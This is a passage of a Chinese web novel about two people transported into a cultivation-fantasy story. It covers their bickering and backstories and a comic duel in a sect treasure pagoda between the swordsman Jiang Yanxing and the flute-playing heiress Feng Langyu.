本来开开心心出院回家,收到了师兄师姐送的可口吃食,心情不要太美丽,结果一个两个非要问这种煞风景的问题。 解释了不信,不解释又要问,烦死了。 余白叛逆劲儿上来了,叉腰道:“对,我喜欢齐师兄,喜欢得不得了!这个回答可以了吗,你满意了吗?” 少年却突然安静下来盯着她,黑眸如星,清明,也冷凝刺骨。 余白被看得脊背发凉,又好面子不想先移开目光。 “啧。” 半晌,江小白受不了似的别开了脸。 在余白庆幸自己以微妙的优势取得了这场瞪眼比赛的胜利的时候,少年抬脚用力一踩。 那块漂亮的粉色糕点瞬间烂成齑粉。 19 第十九章 如果只是踩上去,余白可以当做他是不小心,睁一只眼闭一只眼也就过去了,结果他偏偏还碾了几下。 “哎呀,不好意思,我没看到。不过反正都掉地上也不能吃了,我踩坏了你应该不会生气吧。” 江小白语气浮夸,脸上更是流露着幸灾乐祸的表情。 余白微笑:“我不生气,一块糕点而已嘛,我一点都不生气……个屁啊!” 她嗷的一声扑了过去,江小白抱着手臂轻松躲开。 “想抓住我?早八百年吧。” 江小白嘲笑道:“看你这么活蹦乱跳的样子应该是真没事了,我也放心了,毕竟司徒乾是冲着我来的,你要是有什么好歹那我可就得载进去还你的因果了。” 他有些生硬地解释了下自己为什么出现在这里,然后摆了摆手,转身就要离开。 余白扑了个空正恼着,看着他转过身那马尾一晃一晃的,身体比脑子更快,恶从胆边生,一个箭步上前抓住他的马尾。 “嘶!余白,你干什么?!松开,我叫你松开!” “你叫我松开我就松?除非你给我道歉!不,是对我的糕点道歉!” “你有毒啊,我都说了我是不小心……嘶,疼疼疼,好,我不狡辩,我错了,我错了还不行吗?” 江小白没想到余白手劲儿那么大,疼得他眼泪都要出来了。 余白冷哼了一声,这才松开,顺便还把拽下来的几根头发给甩在了地上,也学着他刚才的样子重重踩了几下。 江小白气笑了,揉着发疼的头皮道:“还挺记仇。” 余白瞪他:“本来就是你有错在先,先撩者贱!” 江小白也觉得自己挺没意思的,余白刚才明明就是气话,自己也不知道为什么突然火大就上脚了。 不过转念一想他生气不是很正常吗?齐昭可是他的死对头,原文里自己就是死在对方手上的,虽然这个齐昭和他想象中的不大一样,但本质上也改变不了他和他的不对付。 他是天道宠儿,而他被天道不容。 他们两个属于气场排斥,气运也是此消彼长的情况。这次凤梧秘境也足以说明这一点。 他这两天稍微在天极宗打听了下,宗门的弟子说余白之前是在白家待着,近一年才被余秋离回天极宗入道修行,如果他猜测的没错的话这应该也是她穿来这里的时间。 和余白不同,江小白在十年前就穿来了。 江小白,也就是江厌星是魂穿的,只是因为这个角色是以他为原型写的,所以名字和脸都和他一模一样。 江厌星一开始并不知道自己穿书了,以为只是穿越。 原主母亲在生他的时候血崩而死,原主父亲靠打猎为生养大了他。 江厌星穿来的时候这具身体已经死了,他虽借尸还魂活了过来,可身上高烧不退,依旧奄奄一息。 家里捉襟见肘,拿不出钱给他看病了。 于是原主父亲在听说城里有人要高价收购人参,铤而走险进入了山林野兽出没的危险地带去挖人参,在回来途中被熊瞎子咬死了。 隔天村民上山把他残破的身体抬回来入土为安了,还把那根他到死都紧握着的人参拿去换了钱买了药,给昏迷不醒的江厌星服下,他才从鬼门关走了回来。 起初村民们还可怜他,让他轮流在家里吃饭,后头村子里有对夫妻多年无子,把他收养了。 那对夫妻人还不错,家里拮据是拮据了点儿,却不会短他吃穿。 江厌星是个适应力很强的人,在试了无数办法也无法回去后,他便随遇而安了。 他开始融入这个家,尽管无法把他们当成真正的父母,却也打算好好报答他们,为他们养老送终。 在古代社会,一个没有背景的平民孩子最快出人头地的方式就是读书,考取功名,江厌星也是这样打算的。 不想那对夫妻前脚把他送去私塾,后脚回来的路上便被土匪给杀了。 江厌星再次成为了孤儿。 他又吃起了百家饭。 这样的日子维持了大半年,一个老头儿看他可怜把他接回了家。 好景不长,老头儿也死了,在夜里睡觉的时候被一条窜进来的毒蛇给咬死了。 一次还好,两次三次,再迟钝的人也觉察出不对劲了。 渐渐的,江厌星天煞孤星的名头就传出来了。 村民们既厌恶他,也恐惧他,一直都想要把他赶走。 江厌星也不想自己的霉运连累到他们,便主动收拾好行李离开了。 天大地大,总会有他的容身之所。 他流浪了十年,也倒霉了十年。 唯一还算幸运的是他在流浪途中救了一个快要坐化的老和尚。 老和尚看出他身负灵根,引他入了道,并把珍藏的一些心法秘籍一并传给了他便身消道陨了。 江厌星就是靠着这么几本入门心法摸索着修炼到了筑基大圆满的。 筑基到金丹是一个分水岭,前期再怎么修炼出点岔子最差也就是跌下修为,但金丹之后便有天劫,以江厌星这个倒霉体质再简单的劫数都能要他的命。 因此野路子修行是不行了,得拜师系统学习。 早在碰上老和尚从他那里了解到修真界的一些事情后,江厌星就知道自己这是穿书了。 于是他第一时间就排除了天极宗。 灵禅宗不在五大宗之列,实力却并不逊色后者,加上老和尚当年也是受灵禅宗一位佛修点化入道,斟酌再三,江厌星打算去那里碰碰运气。 然后,他便碰到司徒乾一行人,遭到他们的追杀,一路逃到了昆仑。 过程很跌宕起伏,结果却都大差不差。 和原文的“江厌星”一样,他如今也拜入了天极宗,和男主成为了同门。 江厌星这张脸太招摇,之前差点被合欢宗的人给掳走,为了避免不必要的麻烦,这才做了伪装。 而余白这张脸和她原来的样子没什么区别,他一眼就认出来了。 不过就算余白换了张脸他觉得对他也不会有什么影响,但换作对方就不一定了。 除非他主动暴露身份,余白这迟钝的性子估计一辈子都发现不了。 这些江厌星明明也知道,却并不想像以前她找他抄作业的时候那样直接给她答案。 江厌星又不爽了,趁着少女没注意的时候从她食盒里拿了一块糕点。 他咬了一大口,故意用力咀嚼,松软的糕点吃出了吃肉的感觉。 余白的火气来的快去的也快,虽然少年很过分,自己也没好到哪儿去,这里的人和现代人不一样,讲究身体发肤受之父母,她刚才那样随便拽人头发实在不大礼貌。 况且人是好心来看自己的,而且又刚检测出了全微瑕,他心里估计也不好受。 余白见他两三口就吃完了糕点,纠结了下,忍痛把食盒递过来。 “哎,吃吧吃吧,吃饱了心情就好了。” 江厌星咽下糕点:“我没你想的那么小气,头发拽了就拽了,你下次轻点就成。” 他这么说余白更觉得自己有点过分了。 “我不是说这个,我是说你资质有缺陷的事情……你别太伤心了。” 江厌星挑眉,抓住了重点:“你找人打听我?” 余白道:“什么打听,我是关心你。我醒来的时候肯定第一时间会想知道你们的安危啊,所以就问了下,结果谁知道你这么倒霉,前脚刚死里逃生,后脚就又突逢噩耗。” 对于修者来说,资质等于一切,若是江厌星天赋平平还好,有点缺陷也不甚影响。 越高的天赋越容不得缺陷,这好比精美华贵的瓷器,一旦有了裂痕就不值钱了。 她叹了口气,又把荷叶鸡拿出来分了一半给他。 “总之看开点,太阳东升西落,日子还得照样过,只要不死没什么大不了的。” 江厌星清明的眉眼没有丝毫黯然和神伤,反而流露出了一点笑意。 “是啊,托某人的福,我大难不死,还有什么不知足的?” 余白见他一脸平和,讶异道:“你真不介怀?不难过?” 江厌星道:“介怀是有点,难过什么的倒是真没有。我这人运气一向极差,在我得知自己是天灵根的时候我第一时间不是高兴,而是觉得即将大难临头,事实正如我所料,我被一个邪修追了三年,差点被他炼成傀儡。” “所以在玄霄检测出我资质有缺的时候我反倒松了口气,甚至还有一种果然如此的感觉。” 一个幸运E,要是真有那么逆天的天赋那才奇怪。 原本要安慰对方的余白被江厌星这番话反而搞得有点不知道说什么了,她沉默了一会儿,又把自己剩下一半鸡的鸡腿掰下来递给了他。 “别那么悲观,有句话怎么说来着,否极泰来,你会有好运的,只是时候未到而已。” 江厌星也不客气,接过就啃,鲜艳的嘴唇被油光润泽得比这荷叶鸡还要诱人。 “是吗?那便借你吉言了。” 江厌星本来想着过来看对方一眼,要是没事便走的,结果余白这话唠,一开头便聊的不知天地为何物了,他好几次想要插话都没找到机会,最终干脆就这样有一搭没一搭和她聊了起来。 其实也不算聊,主要是她问他答,除了一些他不想说的黑历史之外,江厌星基本上都是有问必答。 余白对江厌星本身就莫名有些亲近感,起初她还记着系统的提醒,后头聊着聊着就完全将其抛诸脑后,甚至还开始同情起他了。 “什么?你是孤儿?那你一个人长到这么大一定很不容易吧,我没有同情可怜你的意思,我这是钦佩,我要是一个人的话我肯定没有办法做到像你这样乐观,我肯定会把自己养的很差很差的。” “?!我的个天道啊,你不但被司徒乾盯上了根骨还差点被合欢宗的人给当炉鼎?也是,你是纯阳之体,的确很容易被这些邪魔外道给觊觎。” 此时江厌星已经被余白邀请进了房间,两人一边吃东西一边闲聊。 江厌星知道余白是一个心肠很软的女孩子,适当的和她说一点自己的身世遭遇她就会放下防备,他们之前能交好也是因为如此。 就像现在,这傻姑娘完全忘记了自己之前踩坏她糕点的事情,心疼的给他塞了一堆东西。 他说的还算保守,控制着度,要是她知道掳走他的那个合欢宗修者不是个女修而是个男修,不敢想她要被吓成什么样。 哦不,也可能还会有点兴奋,毕竟她早就被她的好闺蜜那个骨灰级腐女给带坏了。 “好了。” 江厌星拒绝了少女的投喂,端起茶盏喝了一口润润嗓子,问道:“我说了这么多我的事情,你也说说你的吧。” “我的?” “对啊,我们现在应该算是朋友了吧,而且还是生死之交,我想要知道一点你的事情很公平吧。” 江厌星眨了眨眼睛,“还是说你是余剑尊的后代,你的事情也属于宗门机密,所以不方便透露?” 余白哭笑不得:“我的事情算什么机密啊?好吧,你想知道什么,我都告诉你,不过先说好我的生活很无聊的,每天就是吃吃喝喝睡,然后跟着师兄他们修炼一下,三点一线,和你的跌宕起伏比起来完全不值一提。” 少年长睫微垂,听着少女叽里呱啦倒豆子一般把穿越以来的大大小小的事情大致说了一遍,认识了什么人,学到了什么东西,又因为自己老祖宗带来了什么困扰遇到了什么麻烦,不过总体而言她在这里过的很好,大家也很好,她很喜欢这里的生活。 少女的声音清脆灵动,说到快乐的事情还会发出咯咯的笑声。 江厌星说不出什么心情,听到她过得好他松了口气,可发现她并不排斥这里后他又觉得心里堵得慌。 在没有碰到余白之前,江厌星对这个世界虽没什么归属感却也没那么难以忍受,可他在得知穿来的并非他一人,就像是离群的鸟找到了伙伴,他一直飘着的心变得安定了不少。 结果她有了更多的羁绊,亲人,朋友,未来或许还会有自己的道侣,只有他一无所有,空无一人。 起初江厌星是赌气不想告诉对方她自己的真实身份的,如今他有些庆幸自己什么也没说,不然她肯定会为难的。 余白也不知说了多久,感到口舌干了才停下。 她这人有两个毛病,话多,还有看不懂空气。 但绝不是那种交浅言深的性子,什么话该说什么话不该说她还是知道的,所以在发现自己都要把底给对方透完了后,她才惊觉。 余白怕再说下去连系统和穿越的事情都要说漏嘴了,赶紧转移话题。 “还没问你拜入哪个山头呢?是青云峰还是天极峰?” 应该是天极峰吧,要是青云峰他刚才也不会走。 不想结果很出人意料—— “都不是,玄霄……” 余白纠正道:“宗主,你应该叫玄霄宗主。” 江厌星无甚敬畏地改口:“宗主说我资质虽有缺,天赋还在,给了我一个内门弟子的名额。不过因为我气运太差,寻常人不敢收我为徒,怕被我累了因果,就让我先在万籁峰待着,修养下身心,去去身上戾气。看看之后天极峰的那位游历回来的刀修愿不愿意收我。” “谢斩前辈?” “好像是叫这名。怎么样,他很厉害吗?” 余白点头:“很厉害,天极宗有两绝,一是我老祖宗的剑,二就是谢斩前辈的刀了。他的那把刀十分厉害,因杀尽十万恶鬼闻名,戾气极重,听说靠近了还能听到恶鬼的哀嚎,可吓人了。” 江厌星抱着手臂,语气不咸不淡:“听上去不像什么正经修者。” “嘘!小点声,背后编排谢前辈会被听到的!” 余白慌忙对他比了个噤声的动作,然后小心翼翼扫视周遭。 江厌星道:“这里没人。” 余白:“没人但有鬼啊。” 江厌星更莫名了。 “你不知道谢前辈的厉害,他那把刀能沟通鬼魂亡灵,包括坐化的修者散于天地的神识神魂,万一我们身边恰好有个什么鬼魂听到了告密给他,我倒还好,你拜师计划就泡汤了。” 余白仔细留意了下,没有感觉到什么阴风和奇怪的声音后这才放下心。 她想到了什么又提醒道:“除了别背后说谢前辈的坏话,你还要当心一个人。” 江厌星等着她后话,她朝他挥了挥手,也怕被鬼魂听到示意他凑近。 对方草木皆兵的样子有些好笑,他勾了下唇角偏头凑过去。 少女手围在嘴唇做喇叭状,湿热的气息集中在一起喷洒在他的耳朵,冷白的皮肤烫上了绯红。 “司徒苍,谢斩前辈的关门弟子,也是司徒家的人。” 他们杀了司徒乾这件事暂时没人知道,但世上没有不通风的墙,司徒苍又是一个很敏锐的人,要是日后江厌星也拜入谢斩门下,他们朝夕相处,势必要多加小心。 20 第二十章 风琅玉嘴快,反应过来的时候已经把心里话说出来了。 话音刚落,空气骤冷,江厌星的脸黑沉如墨。 江厌星本身杀气就重,之前跟余白在一块儿的时候还会有所收敛,但绕是如此一人一统面对他的时候还是有些发怵,此时被风琅玉给一激,直接火力全开了。 珍宝堂是一座九重塔楼,里头布了一个可以连通塔下到塔楼的传送阵,不单单可以传送人还可以传送物品,一旦烙印上了天极宗的印记的东西到了珍宝堂都不用专人分门别类,它便会自动根据印记的级别归位在对应的楼层。 这个阵法是由苍灵峰的峰主布下的,阵法之精细,塔楼中一共有近十万的灵材灵宝,要逐一标记控制非寻常法修能够办到。 但这个阵法完美无缺,而就是因为太完美了太精妙了,以至于在此阵中的任何一点灵力波动都可以被放大好几倍。 风琅玉是个乐修,灵力比起千锤百炼的剑修来说无论纯度和强度都有一定的差距,她也看出了对方是个生面孔,猜测他是新弟子不懂阵法原理,于是先前她便是站在阵眼,利用阵法可以加强灵力这一点来震慑江厌星,让他好知难而退。 这一招一向很管用,好多次风琅玉都是这样把想要的东西抢到手的,当然更多的是忌惮她的家世背景。 她以为这一次也能成功,不曾想竟然踢到了硬茬儿。 风琅玉被剑气给涤荡后退了十米开外,若不是有个弟子没避开倒霉的给她做了垫背她估计得被推出珍宝堂外了。 “风师妹,你没事吧。” 陪同她一起来的师姐苏清一脸担忧地询问,周围弟子也循声看了过来,一向好面子的少女脸色一阵红一阵白,最后恼羞成怒指着江厌星的鼻子破口大骂。 “你好大的胆子,竟敢对我动手?你知道我是谁吗?我可是修真大族风家的大小姐风琅玉,我的姑姑是万籁峰峰主,你知道动了我什么下场吗?我不光可以把你赶出万籁峰,还能让你从哪儿来回哪儿去!” 江厌星没搭理对方,反而回头对余白冷笑:“这就是你说的天极宗是个不论出身,一视同仁,有爱和善的大家庭?” 余白也很尴尬,为宗门辩解:“这是例外,风琅玉是风家的人,她是跟着她姑姑来宗门修行的,等学有所成是要回风家继承家业的,和我们这种土生土长的宗门弟子不一样。” 少女说的委婉,其实就一个意思—— “懂了,世家子弟看不起我们这些泥腿子是吧。” “呃。” 这家伙说的也太直白了吧,人前脚都已经自报家门了,他还敢这么贴脸开大,不要命了? 谁知下一秒,少年又道:“不过也不能一杆子都打死。” 然后隐晦看了她一眼,意有所指。? 不是,你怎么还拉踩上了?虽然你捧的是我,但是我一点也高兴不起来好吗?!你吸引火力也就算了,不要给我也拉仇恨啊混蛋! 余白感受到风琅玉凉飕飕射来的两道目光,欲哭无泪, 早知道先前就去给齐昭画病卧美人图了。而不是夹在两人中间成为她们play的一环。 “好啊余白,我就说他一个尚未拜师的小弟子怎么敢公然和我叫板,敢情是你在背后给他撑腰啊。” “?我不是我没有,你别瞎说。” 风琅玉咄咄逼人:“那你敢对天起誓你和他不认识,没有一点交情,一会儿无论我把他打成肉泥还是扔出宗门你都不会干涉分毫?” 余白忙不迭点头:“我保证,我肯定不管,你们随意,我不插手。” 江厌星脸色一黑,质问:“你还说我们已经是朋友了,你就这样对你的朋友的?” “不是你能不能别添乱了,那个风琅玉就是个纸老虎,她打人不疼的,你到时候装装样子嗷几声这事情就翻篇了,可你要是和她对着干才有你苦头吃的,她……” “啪”的一声,一道掌风劈了过来,余白吓得赶紧低头躲避。 “哪里跑?!” 说着又是一掌。 余白蛇皮走位,不满嚷嚷道:“风琅玉你有毛病啊,抢你雷击木的不是我,你打我干什么?” “打得就是你,这家伙是不是你故意支使过来给我添堵的另说,之前入门考核的事情我还没跟你算呢!等我收拾了你,再去收拾你的狗!” 余白无语了,这都一年过去了对方竟然还对此耿耿于怀。 她也恼了,从抱头鼠窜到开始疯狂扔爆破符,一边扔一边回怼:“你够了啊,还堂堂风家大小姐呢,这种陈谷子烂芝麻的事情还记着,要是我是你我都不好意思提,明明是你自己当时测心境手气差选中了我的画,自己道心不稳还怪起我了?而且你最后不是被你姑姑给捞了吗,又没落选,你非要揪着不放几个意思?!” 风琅玉面染粉霞,羞恼得不行,由一掌变成了两掌,追着她劈来。 “你还敢狡辩!要不是你自卖自夸说你画技一绝,我打死都不会好奇选你的画来测心境!” “我本来就画的好,你就是嫉妒我!略略略,打不到我吧!气死你!” 余白看着越来越多的人围来过来,实在不想被当猴子看,把好几张爆破符团吧团吧成一个球,然后像扔保龄球一样奋力投掷来过去。 “吃我一球,走你!” 风琅玉见了赶紧控风把爆炸球吹回去,余白早料到她会这么干,先一步拿出了青鸢逐月扇使出吃奶的劲儿用力一挥。 风琅玉的灵力被她的灵宝瞬间压制,这一局是她的胜利—— 本该如此,粉衣少女手腕一动,一把白玉风鸟长笛凭空出现在了她手上。 糟糕! 不光是余白,周遭吃瓜看戏的弟子们也脸色大变,御剑飞走的,踩着仙鶴跑路的,还有的里的太近走不掉的便慌忙捂住耳朵。 只有江厌星一人在状况外,抱着手臂遗世独立站着。 余白扯着嗓子提醒:“江小白,捂耳!” 江厌星从和风琅玉打照面的时候就觉察到对方是个乐修了。 他之前也接触过一两个乐修,其中有个女修还是金丹修为,当时他接了个赏金任务,去一个千年古墓里找一把古琴,那古琴因墓主人的执念生了灵,引来一堆乐修争相抢夺,对方当时就用了那把古琴攻击过他,是有点难对付,不过也仅此而已。 而这个风琅玉修为也就堪堪筑基,江厌星并没有太把对方当回事。 不过他还是在余白催促之下用灵力隔绝了听觉,然而只隔绝了三分。 剑修五感中最重要的就是听觉和视觉,其中前者更为重要,在感知到了一定程度后即使看不见也能自如出剑,所以江厌星没办法完全隔绝听觉,这会让他很没有安全感,也不好在意外发生时候做出精准敏锐的判断。 在没有听到风琅玉吹响笛声之前,江厌星对这个大小姐是嗤之以鼻的,但在笛声响起的瞬间,他脸色难看,御剑的手也抖了一下,差点将剑掉在地上。 原因无他,太难听了。 如果说之前他对上的那个乐修的琴声是如听仙乐耳暂明,那么风琅玉的笛声便是如听魔音耳暂聋。 该怎么形容这个声音呢,像无数只烦人的苍蝇在你耳边嗡嗡作响,又像他太奶在胡言乱语说着梦话,偏偏这笛声繁琐嘈杂的同时又十分的尖锐刺耳,震得他耳膜几近破碎。 不光是耳朵,笛声顺着灵力在四肢百骸中流过,如同一把削铁如泥的刮骨刀,把他浑身的血肉都给剔除。 怪不得余白要让他捂住耳朵,这样的笛声的确不堪入耳。 一般的乐修都十分精通乐理,会在演奏中无知无觉把人拖进用音乐编织的美梦中迷失自我,然后如蜘蛛吐丝一样将猎物慢慢绞杀。 这个风琅玉却是剑走偏锋,专门折磨人的耳朵。 后者只是身体上的疼痛和折磨,前者才是精神上的攻击, 江厌星很快就适应了对方的魔音穿耳,瞬身到了余白前面,用灵力帮她阻挡。 “你没事吧?” “啊?你说什么?大点儿声,我听不见!” 江厌星被少女吼的直皱眉,垂眼看到她耳朵上贴着两道隔音符后拎着她的衣领把人给丢在一旁。 “躲远点。” 余白脚刚落地,清冽的气息带着肃杀的寒意瞬间席卷九重塔楼。 江厌星虚空踏去,桃木剑也破风飞去。 他的目标不是风琅玉而是她手中那把烦人的玉笛。 江厌星的剑很快,不是肉眼可见的快,而是无法捕捉的快。 先前在风琅玉祭出本命法器的时候大部分弟子已经做鸟兽散了,如今留下来的都是修为在少女之上的师兄师姐。 其中又以一向好斗好战的剑修居多。 “好快的剑!” 人群中有个剑修弟子倒吸了一口冷气,这样快的剑他们不是没见过,但那都是些资历较深的前辈了,在同龄人中这样的速度实在前所未有。 “这剑速都要快过齐师弟了吧?” “应该没,只能说是不分伯仲。不过这少年用的是木剑而不是灵剑,若是用的是灵剑的话就不好说了。” “这位师弟看着面生,我在宗门怎么没见过?新入门的?” “我知道他,前几天许久没有启动的山中乾坤阵中传送回来的就是他,好像是齐师弟把他带回来的,还给了他唯一一块引荐玉牌。” 引荐玉牌只有长老和极个别的实力出众的师兄师姐有,天极宗位于昆仑,昆仑周遭封印颇多,五百年神魔大战,数万妖魔怨鬼和修罗都镇压在此,因此这边的结界牵一发而动全身,不能贸然打开。 就算打开也不能支持太久,最多五日,最少三日,时间一过结界便会自行闭合,升山的天路也会消失,这也导致来昆仑求道的人很多都被隔绝在外。 为了尽可能不让有天赋的人误了时间和机缘,宗门便将引荐玉牌分发下去,让他们修炼空闲之余下山去寻有根骨之人,只要通过他们的考核者皆可直接拜师入宗。 这样的引荐玉牌屈指可数,且拥有引荐资格的修者多是德高望重之辈或是天之骄子,比起宗门统一的考核,前者的考核一般会更加严格。 前些年不论,单是今年,除了苍灵峰的那个小师弟就没人有此殊荣了。 “齐师弟引荐的?那有这样的实力也就不奇怪了。” “不止,雪师姐也引荐了他。” “连雪师姐也?这位师弟得有多天赋异禀啊,变异灵根,还是有别的特殊体质?哈哈,别不是又一个天命者吧,那我们宗门可是捡到宝了。””是不是宝我不知道,反正是个天阉。” “……也不一定,这不都是风师妹的猜测吗?没准是别的什么地方的缺陷呢。” “诶,他要是真是天阉那不是天生无情道圣体吗?那他修行不更是一日千里!这也太爽了。” “那给你这个福气你要不要?” “哈哈,那算了,我无福消受。” “……” 真损啊你们,一个个真是看热闹不嫌事大,越说越离谱了。 余白为了自家小伙伴的名声,解释道:“你们误会了,江小白他不是天阉,他只是资质有缺。” “这样啊。” 他们的注意力都在江厌星和风琅玉身上,敷衍应了余白一句,估计压根就没怎么听。 余白想要提高音量再说一次,更强的音浪席卷而来。 她赶紧摁着隔音符蹲下,躲开了那道可怕的魔音。 “还没结束吗?以这个师弟的修为风师妹压根就没有还手之力才对,怎么周旋了这么久?” “难道他是在故意逗她玩?” “啧,那很坏了,风师妹虽然娇纵跋扈了点儿但好歹也是个姑娘,大丈夫这点度量都没有,揪着一个女子不放真是丢咱们剑修的脸。” “蠢货,还是金丹呢,连这点儿洞察力都没有。那个江小白哪里是在捉弄她,而是发现了风琅玉的不同寻常。” 这个声音? 余白回头一看,发现云茯苓竟也在其中,她大为惊喜:“云师姐!” 云茯苓垂眼先看了余白一眼,然后冷哼了一声:“真是祸害遗千年,那道天雷怎么没把你劈死?” 余白早就知道对方是个口是心非的性子,笑眯眯道:“师姐你怎么知道我被雷劈了?看来你还是挺关心我的嘛。“ 云茯苓噎住:”油嘴滑舌。“”那个江小白是你朋友吧,你就这么放任他跟风琅玉打起来不管?“ 余白苦哈哈道:”我哪里不管?我都让他忍一时风平浪静了,可他是个吃软不吃硬的,风师妹你也知道,她那脾气,这两个人对上就跟针尖对麦芒似的,我拦都拦不住,还被牵连进去了呢。“ 说着她凑过去,可怜巴巴的给云茯苓看自己手臂上的一道被风力划伤的口子,哼哼唧唧道:”师姐你看,好疼的。“ 云茯苓看着那道再不注意就要愈合的伤口不是很想接这个话茬,淡淡道:”那你躲远点儿,这两个都不是善茬儿,尤其是你那个朋友,我看他可能要动真格了。” 她和江厌星提醒了同样的话,余白这人一向听劝,早就给自己身上贴好了一堆防御符,以防万一,躲在了云茯苓的后面,这才安心继续探头观战。 一旁被云茯苓怼过的弟子眉头微皱:“云茯苓,你刚才那话什么意思,难不成你觉得风师妹能赢?” 天极宗有两个出了名的废物点心,一个是啃老的余白,另一个就是风琅玉。 一个满大街都是的三灵根,一个是少之又少的混灵根,稀有程度不亚于天灵根。但是稀有不代表天赋高,风琅玉的这个混灵根比余白的三灵根还要坑人。 灵根数量越多意味着能够吸收到的灵力越少,越不有利于修行,这样的修者一般道途短暂,穷极一生至多修行到元婴便是极限了,而风琅玉的混灵根又是另一个极端。 它吸收的灵力并不少,但全都是混沌杂乱的,并不纯粹,一不利于修行,二又容易走火入魔。 这就导致了两个情况,余白是资质有限再如何努力也没用,风琅玉是怕控制不了灵力误入歧途所以不敢太努力。 两个都半斤八两,后者也就勉强在筑基初期,比余白好一点的程度。 因此只要有点判断力的都不会觉得风琅玉有胜算。 云茯苓没说话,但她脸会说话,上下扫了对方一眼,眼神流露出的全是鄙夷,看得出来骂的很脏。 “你!” “师兄师兄,平心静气,勿骄勿躁,反正结果如何一会儿就能见分晓了,何必为这种小事伤了天极峰和樾符峰之间的和气呢?” 余白夹在中间充当和事佬,拿出两袋丹药,递了一袋给对方:“吃吗,这是我炼废的丹药,虽然没什么作用但味道不错,我加了花蜜和蜂糖。” 伸手不打笑脸人,那师兄没什么口腹之欲,却也不好拒绝。 “谢了师妹。“ “不客气,光干看着多无聊啊,而且吃点甜的心情也好。” 余白又给周围其他人雨露均沾都发了点,然后又变戏法似的不知从什么地方掏出了两个马扎和一张小木桌。 桌子上有茶有灵果,她的糖豆也放在上面,招呼着云茯苓一块儿坐下吃。 “……你不担心?你和风琅玉打过交道,应当知道她的厉害。” 余白嗑着丹药,叹了口气:”担心啊,我不光担心我的新朋友,也担心风琅玉这位大小姐,可我每个都劝了,可他们就是不听我能有什么办法,良言难劝该死的鬼啊。” 系统听后很冷笑。 【你这话骗骗别人可以,别把自己也给骗了。你摸着你的良心说,你刚才到底是在劝还是在拱火?】 被戳穿了心思的余白一点都不心虚。 【我一开始是真心劝和没想拱火的,可是这两个人一个冤枉我一个给我拉仇恨,我干嘛要管,打一架一笑泯恩仇得了。】 21 第二十一章 这一两年里余白虽然很不喜欢被系统push做任务,却也没有消极怠工过,但她的积分依旧少的可怜。 内因是她的画太有艺术性,主系统审美不高,主观性太强,经常扣她打任务积分,外因则在于齐昭。 少年的性格和原文中的性格出入很大,既不沾花惹草,又不装叉,为人十分低调,因此很多剧情根本无法触发,失去了很多打卡名场面的机会。 余白和系统对此都很愁,余白只有打卡全部剧情才能回到现实世界,系统也需要能量提升等级。 期间他们想了很多办法,比如故意给少年拉仇恨,等到打卡成功后她再站出来解释解除误会,又或者主动给男女主制造独处的机会,推动感情的发展,但都失败了。 原本该狠狠打脸男配的剧情,变成了友好的切磋,而本该升起粉红泡泡的桥段,成了大型脚趾抠地的尴尬现场。 现在有了江小白这个主角代餐,余白别提有多高兴了。 同样的,哪怕是主角毒唯的系统也在余白提出李代桃僵的办法时默认了,毕竟它也已经卡在初级五百年了。 上面的江厌星全然不知道自己被少女当成了刷分的工具人,此时正一脸凝重地看着横吹玉笛的风琅玉。 笛声依旧很难听,但他已经适应了。 按理说她对他除了一开始猝不及防的攻势之外,构不成任何威胁了才对,然而在他好几次想要速战速决将对方的笛声斩断的时候,剑气却被一道无形的屏障给拦阻,削弱了。 当然,这并不代表江厌星被压制了,他先前只用了四五成的灵力,对方已经应对的很是吃力,只要再加上一两成,她便毫无招架之力了。 可那就有可能伤到对方内里了。 江厌星只是想给这个蛮不讲理的大小姐一个教训,没想过重创对方。 于是两人才保持着这种僵持不下的恼人局面。 江厌星抱着手臂,蓝白的道袍上的剑纹随风翻动,带动着上面的日月图纹也在升沉般,让他瞧着如鹤孤高,凌然九天的清冷感。 “你打不过我,且不说你只是筑基初期修为,我是一步金丹,更重要的一点是剑修同境无敌手,你除非是金丹,否则绝无战胜我的可能。” 他目光落在少女有些颤抖的手上,可见强行用笛声挡剑气对她来说有多吃力,估计再来一剑连笛子都拿不稳了。 “只是一块雷击木而已,以你的身份要几块都能拿到,没必要和我一个泥腿子争。” 江厌星指风一动,桃木剑也在半空挽了个剑花,风轻云淡的一个动作,带起的剑气却凛冽。 “我给你一个选择的机会,只要你把这块雷击木给我,然后再同余白道歉,我可以放过你。” 余白接触下来知道对方就这么个性子,比起之前初见对齐昭和雪明霜那个堪称恶劣的态度来说,这还算客气的了。 可落在大小姐,乃至众人的耳朵里就显得有些狂傲了,甚至听上去还有几分威胁的意味。 风琅玉在交手后发现两人之间不小的差距时候也怕败得太惨丢人,起了打退堂鼓打念头,若是对方好声好气和她说和,她也就端端姿态顺着台阶就下了。 江厌星这样子反而让风琅玉越发不肯就此罢休了。 “我呸!还给我机会选择,你算什么东西也敢给本小姐摆谱?我是不缺这块雷击木,但我就是不打算让给你,什么先来后到,在我这里从来都是规矩让我,不是我让规矩!” 风琅玉凝聚灵力在唇间,漂亮娇俏的脸上竟隐隐带着些肃杀之意。 “今日不光是这块雷击木,你手上的那柄以雷击木炼制的剑我也要了!” 剑修爱剑如命,没有哪个剑修在听到有人要夺走自己的剑的时候不会动怒。 少年冷沉眉目,前一秒还被氛围衬托得道骨仙风,此刻一下打回了原形。 “你找死!” 笛声和剑气碰撞,音浪如海和剑鸣铮然,把四周萦绕山间的云雾也给一并涤荡开来。 两股灵力十分明显,楚河汉界般互相排斥,如同一把利剑横劈在两人中间,水火不容。 而很明显的,江厌星的剑气更加霸道,压制着风琅玉的曲不成调,连完整的攻势都无法使出来。 “看来胜负已定。” 那个师兄摇了摇头,往嘴里扔了颗丹药,唏嘘道:“一个乐修和剑修硬碰硬,这不和以卵击石一样吗?本来一开始把东西给人家还会被夸句大度,现在里子面子都没了,这是何必呢?” “对了,风师妹怎么得罪你了,那师弟怎么还让她同你道歉?” 余白也一脸懵:“我也不知道啊。” 那不成是因为她误会自己故意支使江小白去找茬儿? 余白不知道原因,云茯苓却知道,刚才她也在珍宝堂里面,目睹了全程。 在不知情的人看来江厌星和风琅玉打起来是因为一块雷击木,这只是导火索,真正原因是风琅玉在里面和苏清聊天,得知余白被雷劈了后幸灾乐祸嘲笑了几句,然后又说什么最近珍宝堂新进的那块雷击木是不是恰好和劈余白的是同一道天雷,言语十分刻薄。 江厌星原本选中的是另一块雷击木,在听到风琅玉的话后瞬身在对方拿到之前先一步把那块雷击木抢走了。 这才是两人闹成这般的真相。 云茯苓瞥了一眼旁边啃着果子喝着茶,时不时提笔在纸上画上一笔的少女,一时之间不知该说她是心大还是没心没肺。 